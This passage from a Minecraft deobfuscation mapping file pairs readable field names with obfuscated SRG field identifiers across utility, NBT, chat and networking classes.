net/minecraft/util/EnumFacing$Axis/field_176725_d +FD: net/minecraft/util/EnumFacing$Axis/name net/minecraft/util/EnumFacing$Axis/field_176726_e +FD: net/minecraft/util/EnumFacing$Axis/plane net/minecraft/util/EnumFacing$Axis/field_176723_f +FD: net/minecraft/util/EnumFacing$Axis/$VALUES net/minecraft/util/EnumFacing$Axis/$VALUES +FD: net/minecraft/util/EnumFacing$AxisDirection/POSITIVE net/minecraft/util/EnumFacing$AxisDirection/POSITIVE +FD: net/minecraft/util/EnumFacing$AxisDirection/NEGATIVE net/minecraft/util/EnumFacing$AxisDirection/NEGATIVE +FD: net/minecraft/util/EnumFacing$AxisDirection/offset net/minecraft/util/EnumFacing$AxisDirection/field_179528_c +FD: net/minecraft/util/EnumFacing$AxisDirection/description net/minecraft/util/EnumFacing$AxisDirection/field_179525_d +FD: net/minecraft/util/EnumFacing$AxisDirection/$VALUES net/minecraft/util/EnumFacing$AxisDirection/$VALUES +FD: net/minecraft/util/EnumFacing$Plane/HORIZONTAL net/minecraft/util/EnumFacing$Plane/HORIZONTAL +FD: net/minecraft/util/EnumFacing$Plane/VERTICAL net/minecraft/util/EnumFacing$Plane/VERTICAL +FD: net/minecraft/util/EnumFacing$Plane/$VALUES net/minecraft/util/EnumFacing$Plane/$VALUES +FD: net/minecraft/util/EnumFacing/DOWN net/minecraft/util/EnumFacing/DOWN +FD: net/minecraft/util/EnumFacing/UP net/minecraft/util/EnumFacing/UP +FD: net/minecraft/util/EnumFacing/NORTH net/minecraft/util/EnumFacing/NORTH +FD: net/minecraft/util/EnumFacing/SOUTH net/minecraft/util/EnumFacing/SOUTH +FD: net/minecraft/util/EnumFacing/WEST net/minecraft/util/EnumFacing/WEST +FD: net/minecraft/util/EnumFacing/EAST net/minecraft/util/EnumFacing/EAST +FD: net/minecraft/util/EnumFacing/index net/minecraft/util/EnumFacing/field_176748_g +FD: net/minecraft/util/EnumFacing/opposite net/minecraft/util/EnumFacing/field_176759_h +FD: net/minecraft/util/EnumFacing/horizontalIndex net/minecraft/util/EnumFacing/field_176760_i +FD: net/minecraft/util/EnumFacing/name net/minecraft/util/EnumFacing/field_176757_j +FD: net/minecraft/util/EnumFacing/axis net/minecraft/util/EnumFacing/field_176758_k +FD: net/minecraft/util/EnumFacing/axisDirection net/minecraft/util/EnumFacing/field_176755_l +FD: net/minecraft/util/EnumFacing/directionVec net/minecraft/util/EnumFacing/field_176756_m +FD: net/minecraft/util/EnumFacing/VALUES net/minecraft/util/EnumFacing/field_82609_l +FD: net/minecraft/util/EnumFacing/HORIZONTALS net/minecraft/util/EnumFacing/field_176754_o +FD: net/minecraft/util/EnumFacing/NAME_LOOKUP net/minecraft/util/EnumFacing/field_176761_p +FD: net/minecraft/util/EnumFacing/$VALUES net/minecraft/util/EnumFacing/$VALUES +FD: net/minecraft/dispenser/IBehaviorDispenseItem/itemDispenseBehaviorProvider net/minecraft/dispenser/IBehaviorDispenseItem/field_82483_a +FD: net/minecraft/util/ObjectIntIdentityMap/identityMap net/minecraft/util/ObjectIntIdentityMap/field_148749_a +FD: net/minecraft/util/ObjectIntIdentityMap/objectList net/minecraft/util/ObjectIntIdentityMap/field_148748_b +FD: net/minecraft/util/RegistryNamespaced/underlyingIntegerMap net/minecraft/util/RegistryNamespaced/field_148759_a +FD: net/minecraft/util/RegistryNamespaced/inverseObjectRegistry net/minecraft/util/RegistryNamespaced/field_148758_b +FD: net/minecraft/util/EnumParticleTypes/FLAME net/minecraft/util/EnumParticleTypes/FLAME +FD: net/minecraft/util/EnumParticleTypes/LAVA net/minecraft/util/EnumParticleTypes/LAVA +FD: net/minecraft/util/EnumParticleTypes/FOOTSTEP net/minecraft/util/EnumParticleTypes/FOOTSTEP +FD: net/minecraft/util/EnumParticleTypes/CLOUD net/minecraft/util/EnumParticleTypes/CLOUD +FD: net/minecraft/util/EnumParticleTypes/REDSTONE net/minecraft/util/EnumParticleTypes/REDSTONE +FD: net/minecraft/util/EnumParticleTypes/SNOWBALL net/minecraft/util/EnumParticleTypes/SNOWBALL +FD: net/minecraft/util/EnumParticleTypes/SNOW_SHOVEL net/minecraft/util/EnumParticleTypes/SNOW_SHOVEL +FD: net/minecraft/util/EnumParticleTypes/SLIME net/minecraft/util/EnumParticleTypes/SLIME +FD: net/minecraft/util/EnumParticleTypes/HEART net/minecraft/util/EnumParticleTypes/HEART +FD: net/minecraft/util/EnumParticleTypes/BARRIER net/minecraft/util/EnumParticleTypes/BARRIER +FD: net/minecraft/util/EnumParticleTypes/ITEM_CRACK net/minecraft/util/EnumParticleTypes/ITEM_CRACK +FD: net/minecraft/util/EnumParticleTypes/BLOCK_CRACK net/minecraft/util/EnumParticleTypes/BLOCK_CRACK +FD: net/minecraft/util/EnumParticleTypes/BLOCK_DUST net/minecraft/util/EnumParticleTypes/BLOCK_DUST +FD: net/minecraft/util/EnumParticleTypes/WATER_DROP net/minecraft/util/EnumParticleTypes/WATER_DROP +FD: net/minecraft/util/EnumParticleTypes/ITEM_TAKE net/minecraft/util/EnumParticleTypes/ITEM_TAKE +FD: net/minecraft/util/EnumParticleTypes/MOB_APPEARANCE net/minecraft/util/EnumParticleTypes/MOB_APPEARANCE +FD: net/minecraft/util/EnumParticleTypes/particleName net/minecraft/util/EnumParticleTypes/field_179369_Q +FD: net/minecraft/util/EnumParticleTypes/particleID net/minecraft/util/EnumParticleTypes/field_179372_R +FD: net/minecraft/util/EnumParticleTypes/shouldIgnoreRange net/minecraft/util/EnumParticleTypes/field_179371_S +FD: net/minecraft/util/EnumParticleTypes/argumentCount net/minecraft/util/EnumParticleTypes/field_179366_T +FD: net/minecraft/util/EnumParticleTypes/PARTICLES net/minecraft/util/EnumParticleTypes/field_179365_U +FD: net/minecraft/util/EnumParticleTypes/PARTICLE_NAMES net/minecraft/util/EnumParticleTypes/field_179368_V +FD: net/minecraft/util/EnumParticleTypes/$VALUES net/minecraft/util/EnumParticleTypes/$VALUES +FD: net/minecraft/util/EnumParticleTypes/EXPLOSION_NORMAL net/minecraft/util/EnumParticleTypes/EXPLOSION_NORMAL +FD: net/minecraft/util/EnumParticleTypes/EXPLOSION_LARGE net/minecraft/util/EnumParticleTypes/EXPLOSION_LARGE +FD: net/minecraft/util/EnumParticleTypes/EXPLOSION_HUGE net/minecraft/util/EnumParticleTypes/EXPLOSION_HUGE +FD: net/minecraft/util/EnumParticleTypes/FIREWORKS_SPARK net/minecraft/util/EnumParticleTypes/FIREWORKS_SPARK +FD: net/minecraft/util/EnumParticleTypes/WATER_BUBBLE net/minecraft/util/EnumParticleTypes/WATER_BUBBLE +FD: net/minecraft/util/EnumParticleTypes/WATER_SPLASH net/minecraft/util/EnumParticleTypes/WATER_SPLASH +FD: net/minecraft/util/EnumParticleTypes/WATER_WAKE net/minecraft/util/EnumParticleTypes/WATER_WAKE +FD: net/minecraft/util/EnumParticleTypes/SUSPENDED net/minecraft/util/EnumParticleTypes/SUSPENDED +FD: net/minecraft/util/EnumParticleTypes/SUSPENDED_DEPTH net/minecraft/util/EnumParticleTypes/SUSPENDED_DEPTH +FD: net/minecraft/util/EnumParticleTypes/CRIT net/minecraft/util/EnumParticleTypes/CRIT +FD: net/minecraft/util/EnumParticleTypes/CRIT_MAGIC net/minecraft/util/EnumParticleTypes/CRIT_MAGIC +FD: net/minecraft/util/EnumParticleTypes/SMOKE_NORMAL net/minecraft/util/EnumParticleTypes/SMOKE_NORMAL +FD: net/minecraft/util/EnumParticleTypes/SMOKE_LARGE net/minecraft/util/EnumParticleTypes/SMOKE_LARGE +FD: net/minecraft/util/EnumParticleTypes/SPELL net/minecraft/util/EnumParticleTypes/SPELL +FD: net/minecraft/util/EnumParticleTypes/SPELL_INSTANT net/minecraft/util/EnumParticleTypes/SPELL_INSTANT +FD: net/minecraft/util/EnumParticleTypes/SPELL_MOB net/minecraft/util/EnumParticleTypes/SPELL_MOB +FD: net/minecraft/util/EnumParticleTypes/SPELL_MOB_AMBIENT net/minecraft/util/EnumParticleTypes/SPELL_MOB_AMBIENT +FD: net/minecraft/util/EnumParticleTypes/SPELL_WITCH net/minecraft/util/EnumParticleTypes/SPELL_WITCH +FD: net/minecraft/util/EnumParticleTypes/DRIP_WATER net/minecraft/util/EnumParticleTypes/DRIP_WATER +FD: net/minecraft/util/EnumParticleTypes/DRIP_LAVA net/minecraft/util/EnumParticleTypes/DRIP_LAVA +FD: net/minecraft/util/EnumParticleTypes/VILLAGER_ANGRY net/minecraft/util/EnumParticleTypes/VILLAGER_ANGRY +FD: net/minecraft/util/EnumParticleTypes/VILLAGER_HAPPY net/minecraft/util/EnumParticleTypes/VILLAGER_HAPPY +FD: net/minecraft/util/EnumParticleTypes/TOWN_AURA net/minecraft/util/EnumParticleTypes/TOWN_AURA +FD: net/minecraft/util/EnumParticleTypes/NOTE net/minecraft/util/EnumParticleTypes/NOTE +FD: net/minecraft/util/EnumParticleTypes/PORTAL net/minecraft/util/EnumParticleTypes/PORTAL +FD: net/minecraft/util/EnumParticleTypes/ENCHANTMENT_TABLE net/minecraft/util/EnumParticleTypes/ENCHANTMENT_TABLE +FD: net/minecraft/dispenser/PositionImpl/x net/minecraft/dispenser/PositionImpl/field_82630_a +FD: net/minecraft/dispenser/PositionImpl/y net/minecraft/dispenser/PositionImpl/field_82628_b +FD: net/minecraft/dispenser/PositionImpl/z net/minecraft/dispenser/PositionImpl/field_82629_c +FD: net/minecraft/util/Rotations/x net/minecraft/util/Rotations/field_179419_a +FD: net/minecraft/util/Rotations/y net/minecraft/util/Rotations/field_179417_b +FD: net/minecraft/util/Rotations/z net/minecraft/util/Rotations/field_179418_c +FD: net/minecraft/util/RegistrySimple/logger net/minecraft/util/RegistrySimple/field_148743_a +FD: net/minecraft/util/RegistrySimple/registryObjects net/minecraft/util/RegistrySimple/field_82596_a +FD: net/minecraft/util/Vec3i/x net/minecraft/util/Vec3i/field_177962_a +FD: net/minecraft/util/Vec3i/NULL_VECTOR net/minecraft/util/Vec3i/field_177959_e +FD: net/minecraft/util/Vec3i/y net/minecraft/util/Vec3i/field_177960_b +FD: net/minecraft/util/Vec3i/z net/minecraft/util/Vec3i/field_177961_c +FD: net/minecraft/util/StatCollector/localizedName net/minecraft/util/StatCollector/field_74839_a +FD: net/minecraft/util/StatCollector/fallbackTranslator net/minecraft/util/StatCollector/field_150828_b +FD: net/minecraft/util/StringTranslate/numericVariablePattern net/minecraft/util/StringTranslate/field_111053_a +FD: net/minecraft/util/StringTranslate/equalSignSplitter net/minecraft/util/StringTranslate/field_135065_b +FD: net/minecraft/util/StringTranslate/instance net/minecraft/util/StringTranslate/field_74817_a +FD: net/minecraft/util/StringTranslate/languageList net/minecraft/util/StringTranslate/field_74816_c +FD: net/minecraft/util/StringTranslate/lastUpdateTimeInMilliseconds net/minecraft/util/StringTranslate/field_150511_e +FD: net/minecraft/nbt/NBTTagByteArray/data net/minecraft/nbt/NBTTagByteArray/field_74754_a +FD: net/minecraft/nbt/NBTTagByte/data net/minecraft/nbt/NBTTagByte/field_74756_a +FD: net/minecraft/nbt/NBTTagCompound$1/field_82585_a net/minecraft/nbt/NBTTagCompound$1/field_82585_a +FD: net/minecraft/nbt/NBTTagCompound$1/field_82584_b net/minecraft/nbt/NBTTagCompound$1/field_82584_b +FD: net/minecraft/nbt/NBTTagCompound$2/field_82588_a net/minecraft/nbt/NBTTagCompound$2/field_82588_a +FD: net/minecraft/nbt/NBTTagCompound$2/field_82587_b net/minecraft/nbt/NBTTagCompound$2/field_82587_b +FD: net/minecraft/nbt/NBTTagCompound/tagMap net/minecraft/nbt/NBTTagCompound/field_74784_a +FD: net/minecraft/nbt/NBTTagDouble/data net/minecraft/nbt/NBTTagDouble/field_74755_a +FD: net/minecraft/nbt/NBTTagFloat/data net/minecraft/nbt/NBTTagFloat/field_74750_a +FD: net/minecraft/nbt/NBTTagIntArray/intArray net/minecraft/nbt/NBTTagIntArray/field_74749_a +FD: net/minecraft/nbt/NBTTagInt/data net/minecraft/nbt/NBTTagInt/field_74748_a +FD: net/minecraft/nbt/NBTTagList/LOGGER net/minecraft/nbt/NBTTagList/field_179239_b +FD: net/minecraft/nbt/NBTTagList/tagList net/minecraft/nbt/NBTTagList/field_74747_a +FD: net/minecraft/nbt/NBTTagList/tagType net/minecraft/nbt/NBTTagList/field_74746_b +FD: net/minecraft/nbt/NBTTagLong/data net/minecraft/nbt/NBTTagLong/field_74753_a +FD: net/minecraft/nbt/NBTSizeTracker/INFINITE net/minecraft/nbt/NBTSizeTracker/field_152451_a +FD: net/minecraft/nbt/NBTSizeTracker/max net/minecraft/nbt/NBTSizeTracker/field_152452_b +FD: net/minecraft/nbt/NBTSizeTracker/read net/minecraft/nbt/NBTSizeTracker/field_152453_c +FD: net/minecraft/nbt/NBTTagShort/data net/minecraft/nbt/NBTTagShort/field_74752_a +FD: net/minecraft/util/ReportedException/theReportedExceptionCrashReport net/minecraft/util/ReportedException/field_71576_a +FD: net/minecraft/nbt/NBTTagString/data net/minecraft/nbt/NBTTagString/field_74751_a +FD: net/minecraft/nbt/NBTBase/NBT_TYPES net/minecraft/nbt/NBTBase/field_82578_b +FD: net/minecraft/nbt/JsonToNBT$Any/json net/minecraft/nbt/JsonToNBT$Any/field_150490_a +FD: net/minecraft/nbt/JsonToNBT$Compound/field_150491_b net/minecraft/nbt/JsonToNBT$Compound/field_150491_b +FD: net/minecraft/nbt/JsonToNBT$List/field_150492_b net/minecraft/nbt/JsonToNBT$List/field_150492_b +FD: net/minecraft/nbt/JsonToNBT$Primitive/jsonValue net/minecraft/nbt/JsonToNBT$Primitive/field_150493_b +FD: net/minecraft/nbt/JsonToNBT$Primitive/DOUBLE net/minecraft/nbt/JsonToNBT$Primitive/field_179265_c +FD: net/minecraft/nbt/JsonToNBT$Primitive/FLOAT net/minecraft/nbt/JsonToNBT$Primitive/field_179263_d +FD: net/minecraft/nbt/JsonToNBT$Primitive/BYTE net/minecraft/nbt/JsonToNBT$Primitive/field_179264_e +FD: net/minecraft/nbt/JsonToNBT$Primitive/LONG net/minecraft/nbt/JsonToNBT$Primitive/field_179261_f +FD: net/minecraft/nbt/JsonToNBT$Primitive/SHORT net/minecraft/nbt/JsonToNBT$Primitive/field_179262_g +FD: net/minecraft/nbt/JsonToNBT$Primitive/INTEGER net/minecraft/nbt/JsonToNBT$Primitive/field_179267_h +FD: net/minecraft/nbt/JsonToNBT$Primitive/DOUBLE_UNTYPED net/minecraft/nbt/JsonToNBT$Primitive/field_179268_i +FD: net/minecraft/nbt/JsonToNBT$Primitive/SPLITTER net/minecraft/nbt/JsonToNBT$Primitive/field_179266_j +FD: net/minecraft/nbt/JsonToNBT/logger net/minecraft/nbt/JsonToNBT/field_150317_a +FD: net/minecraft/nbt/JsonToNBT/field_179273_b net/minecraft/nbt/JsonToNBT/field_179273_b +FD: net/minecraft/network/NettyEncryptionTranslator/cipher net/minecraft/network/NettyEncryptionTranslator/field_150507_a +FD: net/minecraft/network/NettyEncryptionTranslator/field_150505_b net/minecraft/network/NettyEncryptionTranslator/field_150505_b +FD: net/minecraft/network/NettyEncryptionTranslator/field_150506_c net/minecraft/network/NettyEncryptionTranslator/field_150506_c +FD: net/minecraft/network/NettyEncryptingDecoder/decryptionCodec net/minecraft/network/NettyEncryptingDecoder/field_150509_a +FD: net/minecraft/network/NettyEncryptingEncoder/encryptionCodec net/minecraft/network/NettyEncryptingEncoder/field_150750_a +FD: net/minecraft/network/NettyCompressionDecoder/inflater net/minecraft/network/NettyCompressionDecoder/field_179305_a +FD: net/minecraft/network/NettyCompressionDecoder/treshold net/minecraft/network/NettyCompressionDecoder/field_179304_b +FD: net/minecraft/network/NettyCompressionEncoder/buffer net/minecraft/network/NettyCompressionEncoder/field_179302_a +FD: net/minecraft/network/NettyCompressionEncoder/deflater net/minecraft/network/NettyCompressionEncoder/field_179300_b +FD: net/minecraft/network/NettyCompressionEncoder/treshold net/minecraft/network/NettyCompressionEncoder/field_179301_c +FD: net/minecraft/network/NetworkManager$4/field_181130_a net/minecraft/network/NetworkManager$4/field_181130_a +FD: net/minecraft/network/NetworkManager$4/field_181131_b net/minecraft/network/NetworkManager$4/field_181131_b +FD: net/minecraft/network/NetworkManager$4/field_181132_c net/minecraft/network/NetworkManager$4/field_181132_c +FD: net/minecraft/network/NetworkManager$4/field_181133_d net/minecraft/network/NetworkManager$4/field_181133_d +FD: net/minecraft/network/NetworkManager$4/field_181134_e net/minecraft/network/NetworkManager$4/field_181134_e +FD: net/minecraft/network/NetworkManager$5/field_179248_a net/minecraft/network/NetworkManager$5/field_179248_a +FD: net/minecraft/network/NetworkManager$6/field_181135_a net/minecraft/network/NetworkManager$6/field_181135_a +FD: net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/packet net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/field_150774_a +FD: net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/futureListeners net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/field_150773_b +FD: net/minecraft/network/NetworkManager/logMarkerNetwork net/minecraft/network/NetworkManager/field_150740_a +FD: net/minecraft/network/NetworkManager/logMarkerPackets net/minecraft/network/NetworkManager/field_150738_b +FD: net/minecraft/network/NetworkManager/attrKeyConnectionState net/minecraft/network/NetworkManager/field_150739_c +FD: net/minecraft/network/NetworkManager/CLIENT_NIO_EVENTLOOP net/minecraft/network/NetworkManager/field_179295_d +FD: net/minecraft/network/NetworkManager/CLIENT_EPOLL_EVENTLOOP net/minecraft/network/NetworkManager/field_181125_e +FD: net/minecraft/network/NetworkManager/CLIENT_LOCAL_EVENTLOOP net/minecraft/network/NetworkManager/field_179296_e +FD: net/minecraft/network/NetworkManager/logger net/minecraft/network/NetworkManager/field_150735_g +FD: net/minecraft/network/NetworkManager/direction net/minecraft/network/NetworkManager/field_179294_g +FD: net/minecraft/network/NetworkManager/outboundPacketsQueue net/minecraft/network/NetworkManager/field_150745_j +FD: net/minecraft/network/NetworkManager/readWriteLock net/minecraft/network/NetworkManager/field_181680_j +FD: net/minecraft/network/NetworkManager/channel net/minecraft/network/NetworkManager/field_150746_k +FD: net/minecraft/network/NetworkManager/socketAddress net/minecraft/network/NetworkManager/field_150743_l +FD: net/minecraft/network/NetworkManager/packetListener net/minecraft/network/NetworkManager/field_150744_m +FD: net/minecraft/network/NetworkManager/terminationReason net/minecraft/network/NetworkManager/field_150742_o +FD: net/minecraft/network/NetworkManager/isEncrypted net/minecraft/network/NetworkManager/field_152463_r +FD: net/minecraft/network/NetworkManager/disconnected net/minecraft/network/NetworkManager/field_179297_n +FD: net/minecraft/network/EnumConnectionState/HANDSHAKING net/minecraft/network/EnumConnectionState/HANDSHAKING +FD: net/minecraft/network/EnumConnectionState/PLAY net/minecraft/network/EnumConnectionState/PLAY +FD: net/minecraft/network/EnumConnectionState/STATUS net/minecraft/network/EnumConnectionState/STATUS +FD: net/minecraft/network/EnumConnectionState/LOGIN net/minecraft/network/EnumConnectionState/LOGIN +FD: net/minecraft/network/EnumConnectionState/field_181136_e net/minecraft/network/EnumConnectionState/field_181136_e +FD: net/minecraft/network/EnumConnectionState/field_181137_f net/minecraft/network/EnumConnectionState/field_181137_f +FD: net/minecraft/network/EnumConnectionState/STATES_BY_ID net/minecraft/network/EnumConnectionState/field_150764_e +FD: net/minecraft/network/EnumConnectionState/STATES_BY_CLASS net/minecraft/network/EnumConnectionState/field_150761_f +FD: net/minecraft/network/EnumConnectionState/id net/minecraft/network/EnumConnectionState/field_150762_g +FD: net/minecraft/network/EnumConnectionState/directionMaps net/minecraft/network/EnumConnectionState/field_179247_h +FD: net/minecraft/network/EnumConnectionState/$VALUES net/minecraft/network/EnumConnectionState/$VALUES +FD: net/minecraft/network/PacketBuffer/buf net/minecraft/network/PacketBuffer/field_150794_a +FD: net/minecraft/util/MessageDeserializer/logger net/minecraft/util/MessageDeserializer/field_150800_a +FD: net/minecraft/util/MessageDeserializer/RECEIVED_PACKET_MARKER net/minecraft/util/MessageDeserializer/field_150799_b +FD: net/minecraft/util/MessageDeserializer/direction net/minecraft/util/MessageDeserializer/field_152499_c +FD: net/minecraft/util/MessageSerializer/logger net/minecraft/util/MessageSerializer/field_150798_a +FD: net/minecraft/util/MessageSerializer/RECEIVED_PACKET_MARKER net/minecraft/util/MessageSerializer/field_150797_b +FD: net/minecraft/util/MessageSerializer/direction net/minecraft/util/MessageSerializer/field_152500_c +FD: net/minecraft/util/ChatComponentStyle/siblings net/minecraft/util/ChatComponentStyle/field_150264_a +FD: net/minecraft/util/ChatComponentStyle/style net/minecraft/util/ChatComponentStyle/field_150263_b +FD: net/minecraft/event/ClickEvent$Action/OPEN_URL net/minecraft/event/ClickEvent$Action/OPEN_URL +FD: net/minecraft/event/ClickEvent$Action/OPEN_FILE net/minecraft/event/ClickEvent$Action/OPEN_FILE +FD: net/minecraft/event/ClickEvent$Action/RUN_COMMAND net/minecraft/event/ClickEvent$Action/RUN_COMMAND +FD: net/minecraft/event/ClickEvent$Action/TWITCH_USER_INFO net/minecraft/event/ClickEvent$Action/TWITCH_USER_INFO +FD: net/minecraft/event/ClickEvent$Action/SUGGEST_COMMAND net/minecraft/event/ClickEvent$Action/SUGGEST_COMMAND +FD: net/minecraft/event/ClickEvent$Action/CHANGE_PAGE net/minecraft/event/ClickEvent$Action/CHANGE_PAGE +FD: net/minecraft/event/ClickEvent$Action/nameMapping net/minecraft/event/ClickEvent$Action/field_150679_e +FD: net/minecraft/event/ClickEvent$Action/allowedInChat net/minecraft/event/ClickEvent$Action/field_150676_f +FD: net/minecraft/event/ClickEvent$Action/canonicalName net/minecraft/event/ClickEvent$Action/field_150677_g +FD: net/minecraft/event/ClickEvent$Action/$VALUES net/minecraft/event/ClickEvent$Action/$VALUES +FD: net/minecraft/event/ClickEvent/action net/minecraft/event/ClickEvent/field_150671_a +FD: net/minecraft/event/ClickEvent/value net/minecraft/event/ClickEvent/field_150670_b +FD: net/minecraft/util/IChatComponent$Serializer/GSON net/minecraft/util/IChatComponent$Serializer/field_150700_a +FD: net/minecraft/event/HoverEvent$Action/SHOW_TEXT net/minecraft/event/HoverEvent$Action/SHOW_TEXT +FD: net/minecraft/event/HoverEvent$Action/SHOW_ACHIEVEMENT net/minecraft/event/HoverEvent$Action/SHOW_ACHIEVEMENT +FD: net/minecraft/event/HoverEvent$Action/SHOW_ITEM net/minecraft/event/HoverEvent$Action/SHOW_ITEM +FD: net/minecraft/event/HoverEvent$Action/SHOW_ENTITY net/minecraft/event/HoverEvent$Action/SHOW_ENTITY +FD: net/minecraft/event/HoverEvent$Action/nameMapping net/minecraft/event/HoverEvent$Action/field_150690_d +FD: net/minecraft/event/HoverEvent$Action/allowedInChat net/minecraft/event/HoverEvent$Action/field_150691_e +FD: net/minecraft/event/HoverEvent$Action/canonicalName net/minecraft/event/HoverEvent$Action/field_150688_f +FD: net/minecraft/event/HoverEvent$Action/$VALUES net/minecraft/event/HoverEvent$Action/$VALUES +FD: net/minecraft/event/HoverEvent/action net/minecraft/event/HoverEvent/field_150704_a +FD: net/minecraft/event/HoverEvent/value net/minecraft/event/HoverEvent/field_150703_b +FD: net/minecraft/util/ChatComponentScore/name net/minecraft/util/ChatComponentScore/field_179999_b +FD: net/minecraft/util/ChatComponentScore/objective net/minecraft/util/ChatComponentScore/field_180000_c +FD: net/minecraft/util/ChatComponentScore/value net/minecraft/util/ChatComponentScore/field_179998_d +FD: net/minecraft/util/ChatComponentSelector/selector net/minecraft/util/ChatComponentSelector/field_179993_b +FD: net/minecraft/util/ChatStyle/parentStyle net/minecraft/util/ChatStyle/field_150249_a +FD: net/minecraft/util/ChatStyle/color net/minecraft/util/ChatStyle/field_150247_b +FD: net/minecraft/util/ChatStyle/bold net/minecraft/util/ChatStyle/field_150248_c +FD: net/minecraft/util/ChatStyle/italic net/minecraft/util/ChatStyle/field_150245_d +FD: net/minecraft/util/ChatStyle/underlined net/minecraft/util/ChatStyle/field_150246_e +FD: net/minecraft/util/ChatStyle/strikethrough net/minecraft/util/ChatStyle/field_150243_f +FD: net/minecraft/util/ChatStyle/obfuscated net/minecraft/util/ChatStyle/field_150244_g +FD: net/minecraft/util/ChatStyle/chatClickEvent net/minecraft/util/ChatStyle/field_150251_h +FD: net/minecraft/util/ChatStyle/chatHoverEvent net/minecraft/util/ChatStyle/field_150252_i +FD: net/minecraft/util/ChatStyle/insertion net/minecraft/util/ChatStyle/field_179990_j +FD: net/minecraft/util/ChatStyle/rootStyle net/minecraft/util/ChatStyle/field_150250_j +FD: net/minecraft/util/ChatAllowedCharacters/allowedCharactersArray net/minecraft/util/ChatAllowedCharacters/field_71567_b +FD: net/minecraft/util/ChatComponentText/text net/minecraft/util/ChatComponentText/field_150267_b +FD: net/minecraft/util/ChatComponentTranslation/children net/minecraft/util/ChatComponentTranslation/field_150278_b +FD: net/minecraft/util/ChatComponentTranslation/stringVariablePattern net/minecraft/util/ChatComponentTranslation/field_150279_c +FD: net/minecraft/util/ChatComponentTranslation/key net/minecraft/util/ChatComponentTranslation/field_150276_d +FD: net/minecraft/util/ChatComponentTranslation/formatArgs net/minecraft/util/ChatComponentTranslation/field_150277_e +FD: net/minecraft/util/ChatComponentTranslation/syncLock net/minecraft/util/ChatComponentTranslation/field_150274_f +FD: net/minecraft/util/ChatComponentTranslation/lastTranslationUpdateTimeInMilliseconds net/minecraft/util/ChatComponentTranslation/field_150275_g +FD: net/minecraft/network/EnumPacketDirection/SERVERBOUND net/minecraft/network/EnumPacketDirection/SERVERBOUND +FD: net/minecraft/network/EnumPacketDirection/CLIENTBOUND net/minecraft/network/EnumPacketDirection/CLIENTBOUND +FD: net/minecraft/network/EnumPacketDirection/$VALUES net/minecraft/network/EnumPacketDirection/$VALUES +FD: net/minecraft/network/PacketThreadUtil$1/field_180030_a net/minecraft/network/PacketThreadUtil$1/field_180030_a +FD: net/minecraft/network/PacketThreadUtil$1/field_180029_b net/minecraft/network/PacketThreadUtil$1/field_180029_b +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/X net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/X +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/Y net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/Y +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/Z net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/Z +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/Y_ROT net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/Y_ROT +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/X_ROT net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/X_ROT +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/field_180058_f net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/field_180058_f +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/$VALUES net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/$VALUES +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook/x net/minecraft/network/play/server/S08PacketPlayerPosLook/field_148940_a +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook/y net/minecraft/network/play/server/S08PacketPlayerPosLook/field_148938_b +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook/z net/minecraft/network/play/server/S08PacketPlayerPosLook/field_148939_c +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook/yaw net/minecraft/network/play/server/S08PacketPlayerPosLook/field_148936_d +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook/pitch net/minecraft/network/play/server/S08PacketPlayerPosLook/field_148937_e +FD: net/minecraft/network/play/server/S08PacketPlayerPosLook/field_179835_f net/minecraft/network/play/server/S08PacketPlayerPosLook/field_179835_f +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/entityId net/minecraft/network/play/server/S0EPacketSpawnObject/field_149018_a +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/x net/minecraft/network/play/server/S0EPacketSpawnObject/field_149016_b +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/y net/minecraft/network/play/server/S0EPacketSpawnObject/field_149017_c +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/z net/minecraft/network/play/server/S0EPacketSpawnObject/field_149014_d +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/speedX net/minecraft/network/play/server/S0EPacketSpawnObject/field_149015_e +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/speedY net/minecraft/network/play/server/S0EPacketSpawnObject/field_149012_f +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/speedZ net/minecraft/network/play/server/S0EPacketSpawnObject/field_149013_g +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/pitch net/minecraft/network/play/server/S0EPacketSpawnObject/field_149021_h +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/yaw net/minecraft/network/play/server/S0EPacketSpawnObject/field_149022_i +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/type net/minecraft/network/play/server/S0EPacketSpawnObject/field_149019_j +FD: net/minecraft/network/play/server/S0EPacketSpawnObject/field_149020_k net/minecraft/network/play/server/S0EPacketSpawnObject/field_149020_k +FD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/entityID net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/field_148992_a +FD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/posX net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/field_148990_b +FD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/posY net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/field_148991_c +FD: 